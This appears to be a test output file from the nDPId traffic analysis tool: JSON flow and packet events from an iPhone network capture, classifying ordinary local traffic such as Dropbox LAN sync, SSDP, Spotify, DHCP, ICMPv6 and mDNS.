+00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":15,"source":"iphone.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1582454582628,"flow_last_seen":0,"flow_tot_l4_data_len":518,"flow_min_l4_data_len":518,"flow_max_l4_data_len":518,"flow_avg_l4_data_len":518,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01082{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454582,"pkt_ts_usec":628608,"pkt_caplen":552,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":552,"pkt_l4_len":518,"pkt":"\/\/\/\/\/\/\/\/xiwDYGpkCABFAAIaybIAAEARKNDAqAIBwKgC\/0RcRFwCBr34eyJ2ZXJzaW9uIjogWzIsIDBdLCAicG9ydCI6IDE3NTAwLCAiaG9zdF9pbnQiOiAzMzA0MDI2MjQwMTMxNjcxMTI3MTc3MTQ1ODMyOTcxNTM2ODg0ODIsICJkaXNwbGF5bmFtZSI6ICIiLCAibmFtZXNwYWNlcyI6IFsyNzUwMzcwNTYwLCA3ODUyNjYxNzcsIDE1MjYyNjMwNDUsIDEzMzg2NTkyMDEsIDE0ODE5MzM3LCA0ODEwNTkxNzYwLCA0NTE0NzI2NTgsIDczNjM0MTUyOCwgOTM4ODEzODQ5LCAxMjY3Njk1MTA5LCA1NDQwNDA3MDcyLCA1ODM0NDk5NiwgOTk2MzA2MjE1LCA1MzAzMzAxMjQ4LCAyODUyMTYwNywgNDA1NjQ2MjU5MiwgNzA1MzYyNzE4NCwgMTUyMjE3NzU4NywgMTQyMTExNDM5OSwgMTI1MjExNjQyOSwgOTk0Njk3NzMsIDcwNzk2MzY2ODgsIDE3Njk2NDMwNywgMTI1NTQwNTY2LCAxMDQ3NDI4MTg5LCA0NzE2MTkwMDQ4LCA1NDY3MTYzMDg4LCAxMTk1MDQ0MDcxLCA5Njg1MzIyNCwgMTc2MDk5NjMsIDY0NzgzMDM0NDAsIDUxMTcwNjY0MiwgNjI5Nzk1NTE4NCwgMTQxNTYyMDM1MF19"} +00510{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":15,"source":"iphone.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1582454582628,"flow_last_seen":0,"flow_tot_l4_data_len":518,"flow_min_l4_data_len":518,"flow_max_l4_data_len":518,"flow_avg_l4_data_len":518,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00451{"flow_id":5,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454583,"pkt_ts_usec":649066,"pkt_caplen":87,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":87,"pkt_l4_len":53,"pkt":"AQBeAAD72DBiVgAcCABFAABJrWMAAP8RoW2p\/uHY4AAA+xTpFOkANUGgAAAAAAABAAAAAAAAEF9zcG90aWZ5LWNvbm5lY3QEX3RjcAVsb2NhbAAADAAB"} +00450{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454583,"pkt_ts_usec":649191,"pkt_caplen":87,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":87,"pkt_l4_len":53,"pkt":"AQBeAAD7xiwDYGpkCABFAABJLHMAAAER6YzAqAIB4AAA+xTpFOkANQrOAAAAAAABAAAAAAAAEF9zcG90aWZ5LWNvbm5lY3QEX3RjcAVsb2NhbAAADAAB"} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":18,"source":"iphone.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1582454585624,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"169.254.225.216","dst_ip":"239.255.255.250","src_port":60538,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00568{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454585,"pkt_ts_usec":624880,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"AQBef\/\/62DBiVgAcCABFAACab\/sAAP8Rz4Wp\/uHY7\/\/\/+ux6B2wAhmGgTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANCk1BTjogInNzZHA6ZGlzY292ZXIiDQpNWDogMQ0KU1Q6IHVybjpkaWFsLW11bHRpc2NyZWVuLW9yZzpzZXJ2aWNlOmRpYWw6MQ0KDQoA"} +00513{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":18,"source":"iphone.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1582454585624,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"169.254.225.216","dst_ip":"239.255.255.250","src_port":60538,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":19,"source":"iphone.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1582454585625,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"239.255.255.250","src_port":51411,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00567{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454585,"pkt_ts_usec":625038,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"AQBef\/\/6xiwDYGpkCABFAACaYI8AAAERpiDAqAIB7\/\/\/+sjTB2wAhk51TS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANCk1BTjogInNzZHA6ZGlzY292ZXIiDQpNWDogMQ0KU1Q6IHVybjpkaWFsLW11bHRpc2NyZWVuLW9yZzpzZXJ2aWNlOmRpYWw6MQ0KDQoA"} +00510{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":19,"source":"iphone.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1582454585625,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"239.255.255.250","src_port":51411,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":20,"source":"iphone.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1582454586170,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00460{"flow_id":11,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454586,"pkt_ts_usec":170857,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"\/\/\/\/\/\/\/\/xiwDYGpkCABFAABIdggAAEARfkzAqAIBwKgC\/+EV4RUANNgcU3BvdFVkcDDcFXQoLlJiTAABAARIlcIDokHeIIm5eNggVkvVDJHA6KPmCng="} +00507{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":20,"source":"iphone.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1582454586170,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","ndpi": {"proto":"Spotify","breed":"Acceptable","category":"Music"}} +00877{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454586,"pkt_ts_usec":688849,"pkt_caplen":404,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":404,"pkt_l4_len":370,"pkt":"AQBeAAD7xiwDYGpkCABFAAGG7IsAAP8RKjbAqAIB4AAA+xTpFOkBchCYAAAAAAARAAEAAAABCF9haXJwb3J0BF90Y3AFbG9jYWwAAAwAAQ9fY29tcGFuaW9uLWxpbmvAFQAMAAENX2FwcGxlLW1vYmRldsAVAAwAAQg4ZmIyMDdkZQRfc3ViDl9hcHBsZS1tb2JkZXYywBUADAABD19hcHBsZS1wYWlyYWJsZcAVAAwAAQtfZ29vZ2xlY2FzdMAVAAwAAQZfdXNjYW7AFQAMAAEHX3VzY2Fuc8AVAAwAAQdfaXBwdXNiwBUADAABCF9zY2FubmVywBUADAABBF9pcHDAFQAMAAEFX2lwcHPAFQAMAAEIX3ByaW50ZXLAFQAMAAEPX3BkbC1kYXRhc3RyZWFtwBUADAABBF9wdHDAFQAMAAEEX3JmYsAVAAwAAQZfYWRpc2vAFQAMAAHAJQAMAAEAAA3vABANTHVjYeKAmXMgaU1hY8AlAAApBaAAABGUABIABAAOAADELAMGSf7GLANgamQ="} +00912{"flow_id":4,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454586,"pkt_ts_usec":688899,"pkt_caplen":424,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":424,"pkt_l4_len":370,"pkt":"MzMAAAD7xiwDYGpkht1gBTIBAXIR\/\/6AAAAAAAAAxCwD\/\/5gamT\/AgAAAAAAAAAAAAAAAAD7FOkU6QFyhM0AAAAAABEAAQAAAAEIX2FpcnBvcnQEX3RjcAVsb2NhbAAADAABD19jb21wYW5pb24tbGlua8AVAAwAAQ1fYXBwbGUtbW9iZGV2wBUADAABCDhmYjIwN2RlBF9zdWIOX2FwcGxlLW1vYmRldjLAFQAMAAEPX2FwcGxlLXBhaXJhYmxlwBUADAABC19nb29nbGVjYXN0wBUADAABBl91c2NhbsAVAAwAAQdfdXNjYW5zwBUADAABB19pcHB1c2LAFQAMAAEIX3NjYW5uZXLAFQAMAAEEX2lwcMAVAAwAAQVfaXBwc8AVAAwAAQhfcHJpbnRlcsAVAAwAAQ9fcGRsLWRhdGFzdHJlYW3AFQAMAAEEX3B0cMAVAAwAAQRfcmZiwBUADAABBl9hZGlza8AVAAwAAcAlAAwAAQAADe8AEA1MdWNh4oCZcyBpTWFjwCUAACkFoAAAEZQAEgAEAA4AAMQsAwZJ\/sYsA2BqZA=="} +00878{"flow_id":5,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454586,"pkt_ts_usec":688975,"pkt_caplen":404,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":404,"pkt_l4_len":370,"pkt":"AQBeAAD72DBiVgAcCABFAAGGs4UAAP8Rmg6p\/uHY4AAA+xTpFOkBckC4AAAAAAARAAEAAAABCF9haXJwb3J0BF90Y3AFbG9jYWwAAAwAAQ9fY29tcGFuaW9uLWxpbmvAFQAMAAENX2FwcGxlLW1vYmRldsAVAAwAAQg4ZmIyMDdkZQRfc3ViDl9hcHBsZS1tb2JkZXYywBUADAABD19hcHBsZS1wYWlyYWJsZcAVAAwAAQtfZ29vZ2xlY2FzdMAVAAwAAQZfdXNjYW7AFQAMAAEHX3VzY2Fuc8AVAAwAAQdfaXBwdXNiwBUADAABCF9zY2FubmVywBUADAABBF9pcHDAFQAMAAEFX2lwcHPAFQAMAAEIX3ByaW50ZXLAFQAMAAEPX3BkbC1kYXRhc3RyZWFtwBUADAABBF9wdHDAFQAMAAEEX3JmYsAVAAwAAQZfYWRpc2vAFQAMAAHAJQAMAAEAAA3vABANTHVjYeKAmXMgaU1hY8AlAAApBaAAABGUABIABAAOAADELAMGSf7YMGJWABw="} +00807{"flow_id":2,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454588,"pkt_ts_usec":306266,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/2DBiVgAcCABFAAFIeCkAAP8RQnwAAAAA\/\/\/\/\/wBEAEMBNI0KAQEGAHhURwkAPgAAAAAAAAAAAAAAAAAAAAAAANgwYlYAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwoBeQMGD3f8XywuOQIF3D0HAdgwYlYAHDMEAHanAAwKTHVjYXMtaU1hY\/8AAAAAAAAAAAAAAAAA"} +00480{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":25,"source":"iphone.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1582454585625,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"239.255.255.250","src_port":51411,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":25,"source":"iphone.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1582454582628,"flow_last_seen":0,"flow_tot_l4_data_len":518,"flow_min_l4_data_len":518,"flow_max_l4_data_len":518,"flow_avg_l4_data_len":518,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00483{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":25,"source":"iphone.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1582454585624,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"169.254.225.216","dst_ip":"239.255.255.250","src_port":60538,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00475{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":25,"source":"iphone.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1582454586170,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00451{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":25,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454593,"pkt_ts_usec":553053,"pkt_caplen":113,"pkt_type":34958,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":113,"pkt_l4_len":0,"pkt":"xGGLNYKp2DBiVgAciI4CAwBfAgCKABAAAAAAAAAAAG++A2+4rA8X2gYxFbqZeXiyOn90e79J6gG73FMwvQ8SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00157{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":25,"source":"iphone.pcap","alias":"nDPId-test","type":34958} +00479{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":26,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454593,"pkt_ts_usec":558516,"pkt_caplen":135,"pkt_type":34958,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":135,"pkt_l4_len":0,"pkt":"2DBiVgAcxGGLNYKpiI4CAwB1AgEKABAAAAAAAAAAAOWT02eyYZMJTCbPZYTVE1RlWpVpVaVS1ktYpT2U96wiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACdssiNbmCpdH7SIBd9jgSABYwFAEAAA+sBAEAAA+sBAEAAA+sAgwA"} +00157{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":26,"source":"iphone.pcap","alias":"nDPId-test","type":34958} +00527{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":27,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454593,"pkt_ts_usec":559219,"pkt_caplen":169,"pkt_type":34958,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":169,"pkt_l4_len":0,"pkt":"xGGLNYKp2DBiVgAciI4CAwCXAhPKABAAAAAAAAAAAW++A2+4rA8X2gYxFbqZeXiyOn90e79J6gG73FMwvQ8SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXMGwwvmlZsH0gzw9I1enDADiGRsswD1UC4klRmV38wG3VdihVeMQMrcq8SNK6fwgxxzGLV9yu95cWJOfEF6gBqVEfR0ZzH9vGYQ=="} +00157{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":27,"source":"iphone.pcap","alias":"nDPId-test","type":34958} +00451{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":28,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454593,"pkt_ts_usec":564157,"pkt_caplen":113,"pkt_type":34958,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":113,"pkt_l4_len":0,"pkt":"2DBiVgAcxGGLNYKpiI4CAwBfAgMKABAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADBqniUXzeQOJOsxzjRJJCEAAA="} +00157{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":28,"source":"iphone.pcap","alias":"nDPId-test","type":34958} +00807{"flow_id":2,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454595,"pkt_ts_usec":343591,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/xGGLNYKpCABFAAFIJUkAAP8RlVwAAAAA\/\/\/\/\/wBEAEMBNFcnAQEGALeWutEAAAAAAAAAAAAAAAAAAAAAAAAAAMRhizWCqQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwcBeQMGD3f8OQIF3D0HAcRhizWCqTMEAHanAAwMTHVjYXMtaVBob25l\/wAAAAAAAAAAAAAAAAAA"} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":30,"source":"iphone.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1582454595352,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.17","src_port":67,"dst_port":68,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00798{"flow_id":12,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454595,"pkt_ts_usec":352217,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"xGGLNYKpxiwDYGpkCABFAAFILXQAAP8RB87AqAIBwKgCEQBDAEQBNJWvAgEGALeWutEAAAAAAAAAAMCoAhHAqAIBAAAAAMRhizWCqQAAAAAAAAAAAABMdWNhcy1pTWFjLmxvY2FsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQECNgTAqAIBMwQAAU4gAQT\/\/\/8AAwTAqAIBBgTAqAIB\/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00530{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":30,"source":"iphone.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1582454595352,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.17","src_port":67,"dst_port":68,"l4_proto":"udp","ndpi": {"proto":"DHCP","breed":"Acceptable","category":"Network"},"dhcp": {"fingerprint":""}} +00437{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":31,"source":"iphone.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1582454595354,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip6","src_ip":"::","dst_ip":"ff02::1:ff98:a29c","l4_proto":"icmp6","flow_datalink":1,"flow_max_packets":15} +00456{"flow_id":13,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454595,"pkt_ts_usec":354441,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"MzP\/mKKcxGGLNYKpht1gAAAAACA6\/wAAAAAAAAAAAAAAAAAAAAD\/AgAAAAAAAAAAAAH\/mKKchwBApQAAAAD+gAAAAAAAAAgjPxeCmKKcDgEq29a5HEA="} +00471{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":31,"source":"iphone.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1582454595354,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip6","src_ip":"::","dst_ip":"ff02::1:ff98:a29c","l4_proto":"icmp6","ndpi": {"proto":"ICMPV6","breed":"Acceptable","category":"Network"}} +00445{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":32,"source":"iphone.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1582454595354,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::823:3f17:8298:a29c","dst_ip":"ff02::2","l4_proto":"icmp6","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":14,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454595,"pkt_ts_usec":354550,"pkt_caplen":62,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":62,"pkt_l4_len":8,"pkt":"MzMAAAACxGGLNYKpht1gCzl3AAg6\/\/6AAAAAAAAACCM\/F4KYopz\/AgAAAAAAAAAAAAAAAAAChQAQyAAAAAA="} +00479{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":32,"source":"iphone.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1582454595354,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::823:3f17:8298:a29c","dst_ip":"ff02::2","l4_proto":"icmp6","ndpi": {"proto":"ICMPV6","breed":"Acceptable","category":"Network"}} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":33,"source":"iphone.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1582454595839,"flow_last_seen":0,"flow_tot_l4_data_len":74,"flow_min_l4_data_len":74,"flow_max_l4_data_len":74,"flow_avg_l4_data_len":74,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::823:3f17:8298:a29c","dst_ip":"ff02::fb","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00514{"flow_id":15,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454595,"pkt_ts_usec":839359,"pkt_caplen":128,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":128,"pkt_l4_len":74,"pkt":"MzMAAAD7xGGLNYKpht1gD8z1AEoR\/\/6AAAAAAAAACCM\/F4KYopz\/AgAAAAAAAAAAAAAAAAD7FOkU6QBKKFMAAAAAAAEAAAAAAAEIX2hvbWVraXQEX3RjcAVsb2NhbAAADIABAAApBaAAABGUABIABAAOAADmYYs1gqnEYYs1gqk="} +00553{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":33,"source":"iphone.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1582454595839,"flow_last_seen":0,"flow_tot_l4_data_len":74,"flow_min_l4_data_len":74,"flow_max_l4_data_len":74,"flow_avg_l4_data_len":74,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::823:3f17:8298:a29c","dst_ip":"ff02::fb","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"_homekit._tcp.local"}} 